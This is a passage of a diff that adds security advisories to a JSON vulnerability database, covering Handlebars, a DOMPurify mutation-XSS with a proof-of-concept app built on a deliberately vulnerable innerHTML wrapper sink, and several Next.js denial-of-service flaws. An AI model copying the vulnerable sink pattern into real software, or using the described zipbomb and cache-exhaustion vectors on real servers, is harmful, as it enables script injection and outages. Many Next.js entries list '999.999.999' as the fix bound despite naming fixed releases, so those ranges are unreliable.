out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference `__lookupSetter__` through untrusted input.", + "githubID": "GHSA-7rx3-28cr-v5wh" + }, + "info": [ + "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh", + "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9" + ] } ], "extractors": { @@ -5237,6 +5396,22 @@ "https://www.vulncheck.com/advisories/dompurify-xss-via-textarea-rawtext-bypass-in-safeforxml" ] }, + { + "atOrAbove": "0", + "below": "3.3.2", + "severity": "medium", + "cwe": [ + "CWE-79" + ], + "identifiers": { + "summary": "## Description\n\nA mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC).\n\n\n## Vulnerability\n\nThe root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, ` ... ` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (``) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).\n\n## PoC\n\n1. Start the PoC app:\n```bash\nnpm install\nnpm start\n```\n\n2. Open `http://localhost:3001`.\n3. Set `Wrapper en sink` to `xmp`.\n4. Use payload:\n```html\n \"</xmp\">\n```\n\n5. Click `Sanitize + Render`.\n6. Observe:\n- `Sanitized response` still contains the `` sequence inside `alt`.\n- The sink reparses to include ``.\n- `alert('expoc')` is triggered.\n7. Files:\n- index.html\n\n```html\n\n\n \n \n \n expoc - DOMPurify SSR PoC\n \n \n \n
\n

expoc - DOMPurify Server-Side PoC

\n

\n Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.\n

\n\n
\n
\n \n \n
\n
\n \n \n
\n
\n \n
\n
\n

Se usa render vulnerable: sink.innerHTML = '<wrapper>' + sanitized + '</wrapper>'.

\n
\n
script (vulnerable)
\n
xmp (vulnerable)
\n
iframe (vulnerable)
\n
noembed (vulnerable)
\n
noframes (vulnerable)
\n
noscript (vulnerable)
\n
div (no vulnerable)
\n
textarea (no vulnerable)
\n
title (no vulnerable)
\n
style (no vulnerable)
\n
\n
\n\n
\n \n
(empty)
\n
\n\n
\n \n
\n
\n
\n
\n\n \n \n\n```\n\n- server.js\n\n```js\nconst express = require('express');\nconst path = require('path');\nconst { JSDOM } = require('jsdom');\nconst createDOMPurify = require('dompurify');\n\nconst app = express();\nconst port = process.env.PORT || 3001;\n\nconst window = new JSDOM('').window;\nconst DOMPurify = createDOMPurify(window);\n\napp.use(express.json());\napp.use(express.static(path.join(__dirname, 'public')));\n\napp.get('/health', (_req, res) => {\n res.json({ ok: true, service: 'expoc' });\n});\n\napp.post('/sanitize', (req, res) => {\n const input = typeof req.body?.input === 'string' ? req.body.input : '';\n const sanitized = DOMPurify.sanitize(input);\n res.json({ sanitized });\n});\n\napp.listen(port, () => {\n console.log(`expoc running at http://localhost:${port}`);\n});\n```\n\n- package.json\n\n```json\n{\n \"name\": \"expoc\",\n \"version\": \"1.0.0\",\n \"main\": \"server.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\",\n \"start\": \"node server.js\",\n \"dev\": \"node server.js\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"ISC\",\n \"description\": \"\",\n \"dependencies\": {\n \"dompurify\": \"^3.3.1\",\n \"express\": \"^5.2.1\",\n \"jsdom\": \"^28.1.0\"\n }\n}\n```\n\n## Evidence\n\n- PoC\n\n[daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90)\n\n- XSS triggered\n\"daft-img\"\n\n## Why This Happens\nThis is a mutation-XSS pattern caused by a parse-context mismatch:\n\n- Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.\n- Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior).\n- Attacker-controlled sequence (``) gains structural meaning in parse 2 and alters DOM structure.\n\nSanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.\n\n## Remediation Guidance\n1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`.\n2. Keep the rendering context stable from sanitize to sink.\n3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition.\n4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.).\n5. Add regression tests for context-switch/mXSS payloads (including ``, ``, similar parser-breakout markers).\n\nReported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.\n\nFollowing Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft\n\nAcknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote).", + "githubID": "GHSA-h8r8-wccr-v5f2" + }, + "info": [ + "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2", + "https://github.com/cure53/DOMPurify/releases/tag/3.3.2" + ] + }, { "atOrAbove": "3.1.3", "below": "3.3.2", @@ -9442,6 +9617,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "10.0.0", + "below": "15.5.14", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.59", @@ -9522,6 +9717,27 @@ "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" ] }, + { + "atOrAbove": "15.6.0-canary.0", + "below": "15.6.0-canary.61", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, { "atOrAbove": "15.6.0-canary.0", "below": "15.6.0-canary.61", @@ -9773,6 +9989,26 @@ "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] }, + { + "atOrAbove": "16.0.0-beta.0", + "below": "16.1.7", + "severity": "medium", + "cwe": [ + "CWE-400" + ], + "identifiers": { + "summary": "## Summary\nThe default Next.js image optimization disk cache (`/_next/image`) did not have a configurable upper bound, allowing unbounded cache growth.\n\n## Impact\nAn attacker could generate many unique image-optimization variants and exhaust disk space, causing denial of service.\n\n## Patches\nFixed by adding an LRU-backed disk cache with `images.maximumDiskCacheSize`, including eviction of least-recently-used entries when the limit is exceeded. Setting `maximumDiskCacheSize: 0` disables disk caching. \n\n## Workarounds\nIf upgrade is not immediately possible:\n- Periodically clean `.next/cache/images`.\n- Reduce variant cardinality (e.g., tighten values for `images.localPatterns`, `images.remotePatterns`, and `images.qualities`)", + "githubID": "GHSA-3x4c-7xq6-9pq8", + "CVE": [ + "CVE-2026-27980" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-3x4c-7xq6-9pq8", + "https://github.com/vercel/next.js/commit/39eb8e0ac498b48855a0430fbf4c22276a73b4bd", + "https://github.com/vercel/next.js/releases/tag/v16.1.7" + ] + }, { "atOrAbove": "16.0.0-beta.0", "below": "16.1.7", @@ -9853,6 +10089,300 @@ "https://github.com/vercel/next.js/commit/a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8", "https://github.com/vercel/next.js/releases/tag/v16.1.7" ] + }, + { + "atOrAbove": "15.0.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.3-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.0.4-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.1.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.2.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.3.1-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.0-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the `Next-Resume: 1` header and processes attacker-controlled postponed state data. Two closely related vulnerabilities allow an attacker to crash the server process through memory exhaustion:\n\n1. **Unbounded request body buffering**: The server buffers the entire POST request body into memory using `Buffer.concat()` without enforcing any size limit, allowing arbitrarily large payloads to exhaust available memory.\n\n2. **Unbounded decompression (zipbomb)**: The resume data cache is decompressed using `inflateSync()` without limiting the decompressed output size. A small compressed payload can expand to hundreds of megabytes or gigabytes, causing memory exhaustion.\n\nBoth attack vectors result in a fatal V8 out-of-memory error (`FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory`) causing the Node.js process to terminate. The zipbomb variant is particularly dangerous as it can bypass reverse proxy request size limits while still causing large memory allocation on the server.\n\nTo be affected, an application must run with `experimental.ppr: true` or `cacheComponents: true` configured along with the NEXT_PRIVATE_MINIMAL_MODE=1 environment variable.\n\nStrongly consider upgrading to 15.6.0-canary.61 or 16.1.5 to reduce risk and prevent availability issues in Next applications.", + "githubID": "GHSA-5f7q-jpqc-wp7h", + "CVE": [ + "CVE-2025-59472" + ] + }, + "info": [ + "https://github.com/vercel/next.js/security/advisories/GHSA-5f7q-jpqc-wp7h", + "https://vercel.com/changelog/summaries-of-cve-2025-59471-and-cve-2025-59472" + ] + }, + { + "atOrAbove": "15.4.2-canary.0", + "below": "999.999.999", + "severity": "medium", + "cwe": [ + "CWE-400", + "CWE-409", + "CWE-770" + ], + "identifiers": { + "summary": "A denial of service vulnerability exists in Next.js versions with Partial Prerendering (PPR) enabled when running in minimal mode. The PPR resume endpoint accepts unauthenticated POST requests with the 